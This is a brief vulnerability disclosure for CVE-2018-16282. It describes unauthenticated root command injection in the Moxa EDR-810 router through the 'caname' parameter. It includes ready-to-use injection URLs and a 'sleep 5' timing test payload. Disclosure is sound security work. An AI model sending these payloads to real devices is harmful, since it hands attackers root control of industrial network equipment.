CVE-2018-16282：EDR-810 Remote Code Execution

CVE-2018-16282.md

CVE-2018-16282

Suggested description :

Commmand injection vulnerability in the web server functionality of Moxa EDR-810 V4.2 build 18041013 allows remote attackers to execute arbitrary OS commands with root privilege via the "caname" parameter in the "/xml/net_WebCADELETEGetValue" uri.

POC:

An authenticated attacker can use HTTP GET request to remotely execute arbitrary OS commands with ROOT privilege.
like this :

http://<IP>/goform/net_WebCADELETEGetValue?caname=";<OS COMMAND>;"

BUT if replace /goform/ to /xml/,
the remote attacker can use ROOT privilege to execute arbitrary OS commands without any authentication.
like this :

http://<IP>/xml/net_WebCADELETEGetValue?caname=";<OS COMMAND>;"

Test payload:

If the page takes about 5 seconds to load, it means that it will be affected by this vulnerability.

http://<IP>/xml/net_WebCADELETEGetValue?caname="; sleep 5 ;"

Get shell:

Attacker can execute arbitrary OS commands with root privilege.